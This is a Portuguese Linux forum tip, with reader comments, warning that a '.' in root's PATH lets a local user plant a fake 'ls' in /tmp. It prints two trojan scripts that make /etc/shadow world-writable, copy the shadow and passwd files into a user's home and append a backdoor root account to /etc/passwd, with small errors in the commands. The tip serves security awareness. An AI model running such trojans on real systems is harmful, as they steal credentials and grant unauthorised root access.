Pular para o conteúdo

Vulnerabilidade na variável PATH

Dica publicada em Linux / Segurança
Simon simon
Hits: 9.677 Categoria: Linux Subcategoria: Segurança
  • Indicar
  • Impressora
  • Denunciar
O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

Vulnerabilidade na variável PATH

Para quem não sabe, a variável de ambiente PATH é a variável que armazena os diretórios onde ficam os arquivos executáveis para o seu usuário, para que você possa dar um ldconfig em lugar de /sbin/ldconfig, ou seja, te permite suprimir o endereço do arquivo.

A vulnerabilidade está na comodidade, sim, isso mesmo, vamos ao exemplo:

"Você é uma pessoa que costuma instalar muitos programas a partir do source code e está cansado de ter de dar ./configure, ./nomedoprograma e coisas afins, então, vai e põe um '.' (ponto) na sua variável PATH, ou seja, agora, sempre que estiver em um diretório, ele estará no seu PATH, pois o ponto equivale ao diretório corrente."

Isso parece muito cômodo, não? Porém, se o root, por exemplo, tiver esse ponto em seu PATH, as coisas complicam... vamos ver o por quê:

Um usuário inescrupuloso vai em /tmp, diretório onde todos têm permissão de escrita e faz um script simples... chamado "ls" por exemplo, e coloca os seguintes comandos:

O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.
#!/bin/sh
ls
chmod 777 /etc/shadow > /dev/null

Você viu? O script "ls" vai dar um ls e vai tentar mudar a permissão de /etc/shadow para 777, enviando qualquer saída de erro para /dev/null, assim, o processo foi invisível para o usuário e como um binário no diretório corrente tem maior precedência do que os outros de mesmo nome... seu sistema ficou beeeem vulnerável! Mas é claro que o trabalho pode ser melhorado:

#!/bin/bash
ls
chmod 777 /etc/shadow > /dev/null
chmod 777 passwd > /dev/null
cp /etc/shadow /home/user/.shadow > /dev/null
cp /etc/passwd /home/user/.passwd > /dev/null
echo "user:0:0:::/bin/sh" >> /etc/passwd > /bin/null

Dentre outras coisas, então, cuidado com o ponto, pois ele pode ser o fim de sua rede!

Espero, por meio desta, ter ajudado a manter sua rede mais segura :D

sonnescheinmann@gmail.com

O Viva o Linux depende da receita de anúncios para se manter. Ative os cookies aqui para nos patrocinar.
Não conseguimos carregar os anúncios. Se usa bloqueador, considere liberar o Viva o Linux para nos patrocinar.

K-Jofol e XMMS

Kahakai window manager

Recuperar senha de root

Restringindo login com chave USB

Criptografia de arquivos

Samba 4 AD-DC 2026: Backup & Restore

Permissão dos arquivos - aumentando a segurança com umask

#1 Comentário enviado por fabio em 02/06/2005 - 03:31h
Ótima dica, meus parabéns!
#2 Comentário enviado por agk em 02/06/2005 - 14:47h
Nossa realmente interessante essa dica. Sempre dou preferência a segurança ao invés da comodidade.
Parabéns pela dica.
[ ]'s.
#3 Comentário enviado por knowlink em 04/06/2005 - 10:40h
Tá até aí tudo bem, realmente o perigo existe e é comum isto ocorrer, porém podemos controlar isto sem deixar o root com um '.' na $PATH. Segue exemplo:

if [ "`id -u`" != "0" ]; then
PATH=$PATH:.
fi

Assim somente usuarios sem o UID 0 ganharão o diretório corrente incluso no PATH
#4 Comentário enviado por knowlink em 04/06/2005 - 10:41h
tá eu sei, esqueci do export PATH :)
#5 Comentário enviado por hra em 04/06/2005 - 14:54h
Parabéns Simon,

É esse tipo de informação que tem feito do linux um sistema mais seguro que o "aquele" concorrente das janelas.

A sua idéia é interessante e pode realmente compromoter um computador, mas só complementando:

A sequencia de procura dos diretório dentro da variável PATH é do primeiro pro ultimo, sendo que o executável estando no primeiro diretório o segundo nem será consultado, veja o exemplo:

export PATH=/bin:/sbin:/usr/bin:/usr/sbin:.

No caso do "ls" estando em /bin ele nunca será executado na pasta atual mesmo existindo.

Já se o PATH estiver com o ponto no começo aí é um abraço.

Tomar o root não é assim tão simples, mas é bom ficar atento.

Se eu estiver errado me perdoem e me corrijam por favor.


Contribuir com comentário

Entre na sua conta para comentar.